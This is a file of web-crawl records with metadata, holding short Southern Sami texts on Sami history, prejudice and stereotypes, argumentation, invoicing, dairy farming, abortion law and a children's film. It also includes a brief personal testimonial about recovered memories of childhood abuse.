fra rørossamisk område på slike utstillinger. Dette var strabasiøse turneer som kunne slite hardt på både folk og rein. Samtidig bød de på en mulighet til å reise ut, og var derfor ikke en ensidig negativ opplevelse for alle som dro. Utstillinger med mennesker ble også vanlig i friluftsmuseer i Norge, men da for å formidle kulturhistorien til bonden, fiskeren eller samen. Utover 1900-tallet ble det museumspolitisk korrekt å likestille det samiske med det norske. Shcrøder, Trøndelag Folkemuseum","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/rorosmuseet.no\/museume-jh-politihke","date":"2024-03-02T03:19:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475727.3\/warc\/CC-MAIN-20240302020802-20240302050802-00158.warc.gz","language":"sma","language_score":0.8961349726,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.8961349725723267, \"nob_Latn_score\": 0.08733229339122772, \"sme_Latn_score\": 0.01296755950897932}","num_words":222,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":0.895,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åvtelhaarvoeh jïh stereotypijh\nTeemah\n- Åvtelhaarvoeh jïh dåehkieussjedimmie\nÅvtelhaarvoeh leah vuajnoeh jeatjah almetjidie mah leah åvtelhbodti vuajnoej gaavhtan dan dåehkien bïjre mejnie identifiseereme sjidtieh. Daate ajve vuajnoeh jeatjah almetjidie dan dåehkien gaavhtan mejnie identifiseereme sjidtieh, ij persovneles jïjtsevoeti gaavhtan.\n\"Åvtelhaarvoeh aktegsalmetjh akten dåahkan leesieh.\nNaemhtie maehtebe jiehtedh åvtelhaarvoeh aktegsalmetjh akten dåahkan leesieh, ij guktie almetje jïjtse sov dåehkieektiedimmiem dååjroe, men dan dåehkien mietie dïhte mij åvtelhaarvojde guadta, dam almetjem beaja.\nGaajhkh almetjh åvtelhaarvoeh utnieh\nÅvtelhaarvoeh leah vïedteldihkie sïejhme prosesside, jïjtsevoetide mijjen almetjeligke psykologijese jïh mijjen vuakan daajroem reebledh. Daate lij naakede destie maam Gordon Allport tjuvtjiedi sov klassihkerisnie The Nature of Prejudice, jaepeste 1954. Åvtelhaarvoeh eah leah amma naakede maam naakenh utnieh jïh jeatjebh eah utnieh, men gaajhkesh dovnesh sån lastoem utnieh åvtelhaarvojde. Åvtelhaarvoeh leah iemie.\n\"Åvtelhaarvoeh leah iemie.\nDan åvteste ulmie ij daarpesjh årrodh dïhte mij lea åvtelhaarvoej namhtah. Byöroe buerebh kombinasjovnine årrodh giehpiedimmeste åvtelhaarvojste, akte ahkedh haesteme jïh dåeriesmoeredarjome mijjen åvtelhaarvojste, jïh ij goh unnemes akte vuekie mijjen lastoem åvtelhaarvojde gïetedidh guktie jeatjah almetjh eah dan jïjnjem baajnehtamme sjïdth.\nMah sïejhme mekanismh leah stïeresne produksjovnesne åvtelhaarvojste? Allport tjïertesti dennie aktene bielesne emosjonelle mekanismide mah leah vïedteldihkie mijjen daerpiesvoetese govlehtovvedh jïh daejredh gïeh mijjieh. Seamma tïjjen seamma stoerre leavloem bïeji kognitijve mekanismide, vïedteldihkie mijjen vuakan saetniesvoetem öörnedh jïh kategoriseeredh.\n«Mijjieh» jïh «doh mubpieh»\nAlmetjh leah sosijaale gaagkoeh mah jïjtjemse relasjovnesne mubpide defineerieh. Mijjieh mijjen identiteetem gaavnebe viehkine daejredh gïese mijjieh govlehtovvebe, giejgujmie mijjieh seammaplïeres. «Manne» jïjjtemem defineerem akten «mijjieh» vööste, mestie manne jïjtjemem vuajnam goh akte bielie. Daate maadthåssjaldahke Tajfelen jïh Turnersen sosijaale identiteeteteorijesne (Tajfel og Turner 1979).\nSosijaalepsykologijesne daamtaj dïhte ånnetji vielie nøytraale baakotjïerte lïhtsegedåehkie åtnasåvva. Daate dåehkie maahta joekehts vijriedahkem utnedh, fuelhkiedåehkien raejeste mïsse voerkesvoetem utnebe govlehtovvedh joe maanabaelien raejeste, vijries dåehkide goh nasjovne jïh dovne gaajhkide almetjidie. Poenge gosse lea åvtelhaarvoej bïjre lea daerpiesvoete lïhtsegedåehkiem «mijjieh» defineeredh gïen tjïrrh dah eah leah, åssjaldahki tjïrrh akten vuastalæjjadåehkien bïjre, «doh mubpieh».\n\"Åssjaldahkh «dej mubpiej»bïjre maehtieh negatijve jallh aassjojne årrodh, men ij daarpesjh.\nÅssjaldahkh «dej mubpiej» bïjre maehtieh negatijve jallh aassjojne årrodh, men eah daarpesjh (Brewer 1999). Akte vuajnoe «dej mubpiej bïjre» goh vædtjan aajhtoe maahta sïemesvuekiem «mijjieh-dåehkesne» nænnoestidh. Lea åehpies annjebodts ektievoetem maahta sjugniedidh ovmessie seabradahkedåehkiej gaskem, viehkine siemesvuakan skreejrehtidh akten byjngetje fæjjoen vööste. Men identiteete jïh ektiedimmie aaj stieresne positijve åssjaldahkigujmie ektine «dej mubpiej bïjre». Vuesiehtimmien gaavhtan gåarede nænnoes jïh vihkeles fuelhkiebaanth utnedh bielelen dan gaavhtan gaajhkh jeatjah fuelhkieh aassjoestidh.\nSosijaale identiteeteteorije joekoen göökte vuekieh åtna mijjieh-dåehkiem jeatjahlaakan vuarjasjidh goh «doh mubpieh». Uvtemes mijjen lea tendense dåehkiem vuarjasjidh mejnie jïjtjemem identifiseerebe , vielie positijvelaakan goh «doh mubpieh», goh lïhtsegedåehkiefavoriseereme jallh bias. Mubpesth utnebe jeatjah dåehkieh goh vielie seammalaakan, vielie homogene goh jïjtjene dåehkie (vuastalæjjadåehkie homogeniseereme). Akte hijven vuesiehtimmie don minngiebasse lea guktie baakoe afrikaneere daesnie Nöörjesne maahta åtnasovvedh almetjen identiteetem buerkiestidh, mearan europejere sveekes åtnasåvva. Dah leah daajehtsh seamma daltesisnie, men Nöörjen bieleste lea aelhkebe gellievoetem europejeri gaskem vuejnedh goh gellievoete afrikanerijstie.\nTendense jeatjah dåehkieh vuejnedh goh vielie seammalaakan goh jïjtse dåehkie lea negatijve væhtah. Jis såemies negatijve væhtah indivijdi luvnie vuejnebe mah jïjtjene dåahkan govlehtuevieh, dellie daamtaj aelhkie gellievoetese jïh variasjovnese dåehkesne tjuvtjiedidh. Lea mij akt mij lea akten jallh jienebi indivijdi bïjre, ij abpe dåehkie. «Dejtie mubpide» lea vuestelen aelhkie vïhtesjimmieh aktegsalmetjijstie konkludeeredh, vuajnojde dåehkien bïjre goh elliesvoete.\nKategoriseereme lea bielie vitenskapeles ussjedimmievuekeste\nEdtja veartenen mijjen bïjre guarkedh tjoerebe dam öörnedh viehkine kategorijide jïh dåehkide juekedh. Kategoriseeremen aalkoevåarome lea generaliseereme – mijjieh hedtide ovmessie bïenji gaskem vuejnebe sijjeste joekehtsidie, juktie kategorijem bïenje darjodh.\nDagkeres juekeme lea vihkeles bielie vitenskapeles ussjedimmievuekeste, nov gujht mænngan Carl von Linné sov juekemem sjædtojste bæjhkoehti. Oktegh ij leah naan fiejlie generaliseeremigujmie. Generaliseeremh almetjedåehkiej bïjre aaj nuhteligs, mejtie dam darjobe gosse vadtesh akten 3 jaepien båeries maanese åestebe, jallh pryövebe dan gellie plaerieh doekedh goh gåarede.\n\"Generaliseereme nuepiem vadta variasjovnem tjelmiehtidh jïh aktegsindivijden sjïerevoetem dassedh.\nStereotypijh\nHaesteme sjædta gosse generaliseeremh stereotypijh sjidtieh. Stereotypije lea leeseldihkie generaliseereme, amma åssjaldahke akten dåehkien bïjre mij ij jorkesh jallh staeriesovvh tjoevkesisnie orre saetniesvoeti jallh gaavnedimmiej gaavhtan almetjigujmie.\n\"Stereotypije lea leeseldihkie generaliseereme, amma åssjaldahke mij ij jorkesh tjoevkesisnie orre saetniesvoeti gaavhtan.\nDaelie raaktan nuepie akte aktegsalmetje maahta joekehtsinie årrodh aktede tendenseste aktene dåehkesne. Dan guhkiem mijjieh ræhpas dagkerh joekehtsh dåastodh, ij daarpesjh negatijve årrodh doh generaliseereme åssjaldahkh utniehtidh. Geerve stigmatiseereme sjædta gosse åssjaldahkh dåehkien bïjre eah jorkesh jalhts tjïelkelaakan vååjnoe dah leah båajhtode.\nVuestiedahkoe don almetjeligke tendensese stereotypiseeremasse lea tjetskehkevoete nyanside jïh båajhtoeh toelhkestimmide, laejhtehks ussjedæmman jïh jïjtjerefleksjovnese.\nEmosjonelle mekanismi gaavhtan lea geerve åvtelhaarvoeh jarkelidh\nDaesnie doh emosjonelle mekanismh åvtelhaarvoeproduksjovnesne doh kognitijve gaavnedieh. Mijjieh vuartasjimh guktie jïjtjemem defineerebe, jïjtjene dåehkiem jïh gïese mijjieh govlehtovvebe kontraasten tjïrrh «dejtie mubpide». Daate sæjhta jiehtedh jarkelimmie guvvesne «dejstie mubpijste» aaj konsekvensh åadtjoeh mijjen gåvvan jïjtjene dåehkeste, jaa, jïjtjemistie. Jïh jarkelimmie jïjtjeguvveste lea sagke leevlebe prosesse goh fiejliem staeriedidh man akt bïjre mij ij leah vihkele. Amma: stereotypijh mubpiej bïjre guhkiem jielieh dan åvteste dah defineerieh gïeh mijjieh jïjtjh libie.\n\"Stereotypijh guhkiem jielieh dan åvteste dah defineerieh gïeh mijjieh jïjtjh libie.\nVuesiehtimmie: juelkietjengkere lea vihkele gelliej noeri identiteetese. Men naakenidie lea aassjoe juelkietjengkeren vööste mij ektievoetem jïh identiteetem vadta. Mij doh tjïelke fåantoeh dagkeres aassjose lea, lea akte aate, men daamtaj dah sijhtieh dåarjoem åadtjodh såemies åssjaldahkijste juelkietjengkeretjïektjiji bïjre, vuesiehtimmien gaavhtan dah leah aelhkie jïh ånnetji skaajhvoeh almetjh mah ajve beetnegh pryöjjadieh. Gosse juelkietjengkeretjïektjijem gaavnede mij dovne gïemhpe jïh vietseles, dellie dïhte åssjaldahkide juelkietjengkeretjïektjiji bïjre eerjie, men aaj dåehkien åssjaldahkh jïjtjh bïjre, jaa, dïhte lïhtsegi åssjaldahkh aajhta gie dah leah. Dan åvteste ij leah dan aelhkie meatodh juelkietjengkeretjïektijh leah gellielaaketje dåehkie.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/artikler\/avtelhaarvoeh-jih-stereotypijh","date":"2024-02-29T18:29:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474852.83\/warc\/CC-MAIN-20240229170737-20240229200737-00384.warc.gz","language":"sma","language_score":0.9999902248,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999902248382568}","num_words":893,"character_repetition_ratio":0.059,"word_repetition_ratio":0.002,"special_characters_ratio":0.135,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reeknegh SaemiedægkanIh maehtieh reeknegem e-påastesne seedtedh. Tjoerh reeknegh seedtedh goh elektrovneles reeknege jallh paehpierisnie påastesne.Elektrovneles reeknegem seedtedh (EHF)Digitaliseeremetjaalegen mietie krïevenassh bïejesåvva gaajhkh staateles gïehtelimmieh edtjieh reeknegem krïevedh elektrovneles handelsformaatesne (EHF). Ålkoelaanten deallahtæjjah edtjieh standaarden PEPPOL BIS nuhtjedh.Lohkh DigitalieeremetjaalegemGyhtjelassh jïh vaestiedassh elektronisk handelsformaten bïjre (EHFLohkh vielie standaarden bïjre PEPPOL BISSaemiedigkien elektrovneles reeknegeadresse lea Saemiedigkien org.nr: 974760347Edtja iktesth dongkijereferaansem soptsestidh: 1660 + dongkijen aalkoebokstaavh, v.g.: 1660XXXGaskesadth dongkijem jis referaanse ij leah soptsesovveme.Maam datne goh deallahtæjjah tjoerh darjodh juktie EHF-reeknegh seedtedh?Lohkh vielie bïevnesh EHF:n bïjre:Naemhtie elektrovneles reeknegh jïh paehperereeknegh DFØ:n åestiejidie seedthEHF-reeknegem darjodh jïh dam dåastoejasse seedtedh. Reeknegem dåastodh jïh dam jïjtse systeemesne gïetedidh.Saemiedigkie lea åestije åestije direktoraateste Direktoratet for økonomistyring (DFØ). Maahtah DFØ:m gaskesadtedh jis dov leah gyhtjelassh elektrovneles reeknegen bïjre, e-påaste: email@example.com, tellefovne: 407 67 157.Paehperereeknegem seedtedhJis ih reeknegh EHF-hammosne seedth daan biejjien, maahtah reeknegem paehpierisnie seedtedh påastesne Saemiedigkien reeknegeadressese:Saemiedigkie - SametingetFakturamottak DFØPostboks 4746 Torgarden7468 TrondheimMïerhkh reeknegem dongkijereferaansine!","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/sametinget.no\/saemiedigkien-bijre\/reeknegh-saemiedagkan\/","date":"2024-03-02T07:24:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475757.50\/warc\/CC-MAIN-20240302052634-20240302082634-00877.warc.gz","language":"sma","language_score":0.9999308586,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999308586120605}","num_words":141,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akten tjarke politihkeles eadtjohkevoeten gaavhtan dïhte voestes tjåanghkoe gaajhkide saemide abpe laantesne öörnesovvi Tråantesne 1917. Konsekvensi gaavhtan \"saemielaakijste\" (lappelovene) jïh stuvrehtimmie båatsoste 1800-låhkoen minngiegietjesne dle jeenjesh sïjhtin saemien reaktah nænnoestehtedh. Tseegkeme saemien siebrijste 1900-låhkoen aalkoelisnie vuajnalgi goh vihkeles juktie jarkelimmiem buektiehtidh.\nDennie nöörjen nasjovnebigkemisnie jåartaburrie symbovline sjïdti båetijen aajkan, jïh saemien kultuvre idtji daennie guvvesne sjïehth. Vitenskapeles teorijh jïh nænnoes politihkeles faamoeh laakejarkelimmieh hoksin mah jåartaburride aevhkieh vedtin mejtie saemien reaktah tjoerin maeksedh. Saemien jieledevåarome tjarke håvhtadamme sjïdti jïh juhtijealmetji jieledevuekie ånnetji ånnetji nåhkeli. Destie stoerre jarkelimmieh sjïdti saemien siebriedahkesne.\nDaate vuasahtalleme lïhkebe vuartesje man åvteste rijhketjåanghkoe 1917 öörnesovvi. Gæmhpoe saemien reaktaj åvteste ij leah badth orrijamme gænnah. Annje aarkebiejjie gellide saemide stuvresåvva båeries laakijste jïh aktede jienebelåhkoesiebriedahkeste mij veartenem vuajna aktedenöörjen perspektijveste. Seamma tïjjen jïjnje sjugniehtovvemedej 30 minngemes jaepiej mij akten hijven otnjegen vööste tjuvtjede, jïh saemien årrojh Nöörjesne lea daan biejjien aalkoealmetjinie jååhkesjamme.\nRøros-saemien dajve lea Mearohken luvhtie noerhtene Engerdalen gåajkoe åarjene jïh Trollheimen gåajkoe jillene. Båatsoe, gïele jïh vætnoe leah vihkeles biehkieh saemien kultuvresne.\nDoh daeverh mah leah vuesiehtamme daesnie leah lööneme Norske Folkemuseumistie jïh dah sïjse tjöönghkesovvin boelhken 1889–1950. Jienebh dejstiedaevierijstie akten juhtijealmetji jieledevuekien bïjre soptsestieh mij lij mahte nåhkeminie 1917.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/rorosmuseet.no\/gelh-aarjelraedteste","date":"2024-03-02T03:05:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475727.3\/warc\/CC-MAIN-20240302020802-20240302050802-00857.warc.gz","language":"sma","language_score":0.9999845028,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999845027923584}","num_words":190,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie argumenteradidh?\nVihkielommes argumentereles teekstine lea argumentasjovne. Aajkoe lea dåastojem baajnehtidh. Gellien aejkien tjoerh gellie ovmessie argumenth nuhtjedh guktie aajkoem jaksedh.\nRyöktesth jïh gaahpoeh argumenth\nArgumentasjovne mij åehpies daejremen mietie jïh maam maehtebe vuarjasjidh, lea gaahpoeh jallh ryöktesth argumentasjovne. Daejremevoeten teekstinedaate argumentasjovne aelhkie guarkedh jïh vihkielommes juktie krïevebe argumenth edtjieh eensi jïh tjïelke årrodh.\nOv-ryöktesth jïh tjeakoes argumenth\nMijjieh jeenjemes gyhtjelassh digkiedibie. Akte gyhtjelasse vuesiehtimmien gaavhtan ovjuvre-politihke. Mijjieh maehtebe vierhtieh, vuajnoeh jïh aaj daejremem digkiedidh.\nDannasinie seedtije tjuara dovne jiermiem jïh vaajmoem baajnehtidh, appelleradidh. Seedtije sæjhta dov domtesh baajnehtidh. Ij leah man aelhkies tjeakoes argumenth vueptiestidh. Maehtebe seedtijen argumenth goerehtidh daejnie gyhtjelassigujmie:\n- seedtije sæjhta domtesh baajnehtidh?\n- mah gïeleldh vierhkie-vierhtieh seedtije nuhtjie?\n- maam seedtije jeahta\/tjaala guktie dåastoje edtja dam jaehkedh?\nDam maam jeahta tjuara aaj maehtele jïh saatnan årrodh guktie mubpieh edtjieh satnem goltelidh jïh jaehkedh.\nLogose, etose jïh patose\nDah greekeladtjh mïelin håaloje sov goltelæjjah tsavtsa golme vuekine. Dah golme appelle-hammoeh dah gåhtjoejin logosinie, etosinie jïh patosine. Logose-appelle lea gaahpoeh argumentasjovne, fakta-argumenth mejtie håaloje buakta. Etose jïh patose appelle-hammoeh mah tjeakoehkisnie: Etose jis håalojem jaehkebe, jïh patose domtesh mah håaloje sov goltelæjjine gååske jïh mïelide appellerade. Aelhkebe vuekine maehtebe jiehtedh, etose jïh patose ektesne tjeakoes argumentasjovne.\nSaemien\nDaaroen\nargumenteradidh\nargumentere\nargumente\nargument\nargumenteles\nargumenterende\nargumentasjovne\nargumentasjon\nargumenteradimmie\nargumentering\nargumenteradimmie-vuekie\nargumentasjonsmåte","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:074f9b3d-1abb-4778-a88d-7d862d21726c\/topic:2:3a4016d8-76ec-4bbb-b890-eb74e42f30c8\/resource:e911445a-3fdd-4a89-a707-c8f54d51ba3f","date":"2024-02-26T13:42:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474660.32\/warc\/CC-MAIN-20240226130305-20240226160305-00653.warc.gz","language":"sma","language_score":0.9999922514,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999922513961792}","num_words":210,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Juuso, Jane Bertije Isak Saba guovddáš Vaadtasovvemejaepie 2002 Faage Beapmoe jïh healsoe Eatnemefaage Båatsoe jïh design Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Formaate Sïejhme gærja Reakta-aajhtere Isak Saba guovddáš Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 19 Aamhtesh Aerpiemaahtoe Beapmoe Eatnemenåhtoe Kultuvre Litteratuvre Aarhte jïh daajroe Byjrese Eatnemefaage","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/node\/9505","date":"2024-03-01T13:45:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475311.93\/warc\/CC-MAIN-20240301125520-20240301155520-00665.warc.gz","language":"sma","language_score":0.9996483326,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9996483325958252}","num_words":48,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mielhkiebåanta Jon Evald Hætta veanhta mejerijesiebresne TINE barkedh lea jielije jïh gellielaaketje Nöörjen åvteste barkedh.\nSov saemien maadtojne Jon Evald jïjnjem daajra guktie lea eatnaminie barkedh aarvoeh sjugniedidh.\n– Mijjieh saemieh libie daejnie eatnaminie barkeme gellie stoerretjuetie jaepieh jïh mijjen lea guhkies histovrije maam maehtebe garmerdidh. Jïh dovne båatsosne jïh mielhkiedorjemassesne lea ektiespïele kreeki, almetji jïh eatnemen gaskem, Hætta jeahta.\nGaertene maam gåmmabinie jïh göökte maanajgujmie åtna lea Luoktagáddi Guovdageaidnusne. Daesnie produksjovne lea medtie 200 tonn mielhkeste fïerhten jaepien, seamma tïjjen goh gaertene 600 dekar ïentjeste reerie.\n– Manne gaertieninie eelkim 2015, jïh 2018 fievsiem jeatjahtehtim guktie govsh maehtieh loeves fievsesne årrodh, Jon Evald soptseste. Manne garmere damtem gosse daajram leam meatan abpe Nöörjem nuhtjem juktie beapmoem voenges vierhtine darjodh, Hætta jeahta jïh lissehte:\n– Munnjien lea vihkele minngebe boelve gaertieninie jïh histovrijem jåarhka. Manne vaajtelem jïh gegkestem mielhkieproduksjovne Finnmarhkesne jåarhka. Manne optimiste.\nGellievoetem garmerde\n– TINE:n visjovne lea «Ektesne jielije Nöörjem sjugniedibie», jïh sisvege dan sisnie lea mijjieh edtjebe aaj gellievoetem Nöörjesne vuesiehtidh. Mijjen leah Nöörjen aalkoeåålmegh mijjen mielhkieproduseenti gaskem, jïh dam lyjhkebe. Gellie jaepieh libie soptsestamme man vihkele lea eatnaminie barkedh – ij dan vööste. Ajve naan gille sån stuerebe tjoevkesem dagkeres filosofijese beaja goh dah mah sijjen saemien roehtsh jïh ussjedimmievuekieh meatan vaeltieh barkoen sïjse beapmoem Nöörjen årroejidie darjodh, gaskesadtemen åvtehke Sindre Ånonsen TINE:sne jeahta.\nDïhte Gïelevåhkoen öörnedæjjah daan jaepien programmine læhkohte, jïh gegkeste dïhte viehkehte vuesiehtidh saemien kultuvre jïh gïele leah gamte stïeresne dovne nöörjen jielemen jïh seabradahkejieleden sisnjeli.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/giellavahkku.org\/sma\/barkosne-jielije-noorjen-avteste\/","date":"2024-04-24T06:42:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296819067.85\/warc\/CC-MAIN-20240424045636-20240424075636-00281.warc.gz","language":"sma","language_score":0.9999879599,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999879598617554}","num_words":234,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sïjhtieh aabortelaakem jeatjahtehtedh\nDaelie nysenæjjah maehtieh jïjtje nænnoestidh jis sæjhta aaborte våhkose 12 gosse baavoeh leah. Dan mænngan tjuerieh nemndese syökedh goh edtja dam dåhkasjehtedh.\nJeenjemasth lïhtsegh aabortedåehkiesne sijhtieh dam jeatjahtehtedh juktie nysenæjjah jïjtje maehtieh våhkose 18 nænnoestidh.\nDåehkie bielie jaepiem barkeme orre aabortelaakem darjodh, jïh duarsta sijjen reektehtse healsoeministerasse Ingvild Kjerkol biejeme.\nReektehtsem edtjieh nuhtjedh gosse edtjieh orre abortlaakine Stoerredigkesne barkedh.\n– Orre aabortelaakem daarpesjibie. Daaletje aabortelaakem. Laakem goh jååhkesje nysenæjjah maehtieh jïjtje nænnoestidh. Seamma tïjjem laake edtja jiemien jïh almetjen seammavyörtegsvoeten reakta vihties darjodh, åejvie aabortedåehkesne, Kari Sønderland jeahta.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.nrk.no\/sapmi\/sijhtieh-aabortelaakem-jeatjahtehtedh-1.16678358","date":"2024-04-14T22:43:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816904.18\/warc\/CC-MAIN-20240414223349-20240415013349-00705.warc.gz","language":"sma","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000027418136597}","num_words":88,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjïertevidtjie jïh jeatjah konkreete haestemh\nTjiertevidtjie jïh antisemittisme guhkies histovrijes roehtsh utnieh. Daajroe dovne histovrijasse jïh sjyöhtehke åssjaldahkide lea vihkele juktie daejtie fenomeenide damtijidh jïh guarkedh. Daate faamosne aaj jeatjah såarhts dåehkievædtjanvoetide, goh muslijmevædtjanvoete, sexisme, åvtelhaarvoeh LHBT+-almetji vööste jïh funksjovneheaptoes almetji vööste.\nNaakenh tjïertevidtjiem ektiedieh joekoen negatijve vuajnoejgujmie goh dah mijjieh orre-nazisti luvnie gaavnebe. Jeenjesh mah tjïertevidtjiem dååjroeh, daam jeenjemes ektiedieh biejjieladtje heannadimmide mah vuesiehtieh dah vuajnalgieh goh jeatjahlaakan, amma aarkebiejjien tjïertevidtjie. Tsåatskelesvoete dagkerh mekanismide lea vihkele ihke skuvle edtja maehtedh vueptiestidh learohkh ålkoestimmiem dååjroeh.\nDaejnie sæjrojne bïevnesh ovmessie tjïelke åvtelhaarvoehammoej jïh dåehkievædtjanvoeti bïjre gaavnh. Maahtah aaj lohkedh ovmessie pedagogeles geatskanimmiej bïjre juktie daej fenomeenigujmie barkedh. Mijjieh göökte såarhts geatskanimmiej gaskem joekehtadtebe: feerhmeles pedagogihke ulmine åtna unnebelåhkoeh edtjieh feerhmeles domtedh ektievoetesne. Haestije pedagogihke haasta mejtie skuvle jïh seabradahke leah seamma rïektes gaajhkesidie saaht mehtie maadtoste lea.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.dembra.no\/sma\/tema\/rasisme-og-andre-former-for-gruppefiendtlighet","date":"2024-04-22T00:18:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00325.warc.gz","language":"sma","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999978542327881}","num_words":136,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vïenhtim lim 40-jaepien baanhtsan båateme. Limen jååkedamme, orre mïelehke lij, jeatjah-ligke barkosne dåemiedim, jïjtjemem maskastim, bælloe læssani, seksuelle jieliemisnie aaj geerve; ae, ussjedim, buarene sån badth. Idtjin daalhkesh naan viehkine, idtjin doh jeatjah davvomevuekieh gih mejtie mov orre mïelehke sïjhti galkim pryövedh. Iehkedsbiejjien gåessie akt, buerie jïh jïermijes guejmine soptsesteminie lim, dillie voestes ïskeres mojhtesh munnjan böötin. Hïehkesth. Åejjie jamhkarosti. Dellie van guarkajim gujht. Meehtim jïjtje aelkiestidh jïelemem stuvrehtidh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/aarjel.utsattmann.no\/testimonial\/alma-55\/","date":"2024-04-23T07:54:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818468.34\/warc\/CC-MAIN-20240423064231-20240423094231-00437.warc.gz","language":"sma","language_score":0.999912858,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999128580093384}","num_words":69,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Govnebuatska jih giemhpes viehkiehtæjjah\nDåahkafilme dehtie daaroen åålmegeheamturistie guktie Asbjørnsen dam soptsestamme.\nGoh gånka vïnhtsem sïjhti mij galki dovne tjaetsien jïh laanten nelnie juhtedh, dellie lin gallesh mah edtjin pryövedadtedh prinsessam jïh bieliem gånkarijhkeste vitnedh. Barre Govnebuatska dïhte nuekies tjetskehke jïh nuekies gïemhpe buektiehtidh jïjtsasse gaavnedh buerie viehkiehtæjjah.\nGååvnese dovne gærjine.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/filbma_govnebuatska-jih-giemhpes-viehkiehtaejjah?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2024-04-15T02:48:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816939.51\/warc\/CC-MAIN-20240415014252-20240415044252-00445.warc.gz","language":"sma","language_score":0.9999966621,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999966621398926}","num_words":51,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} 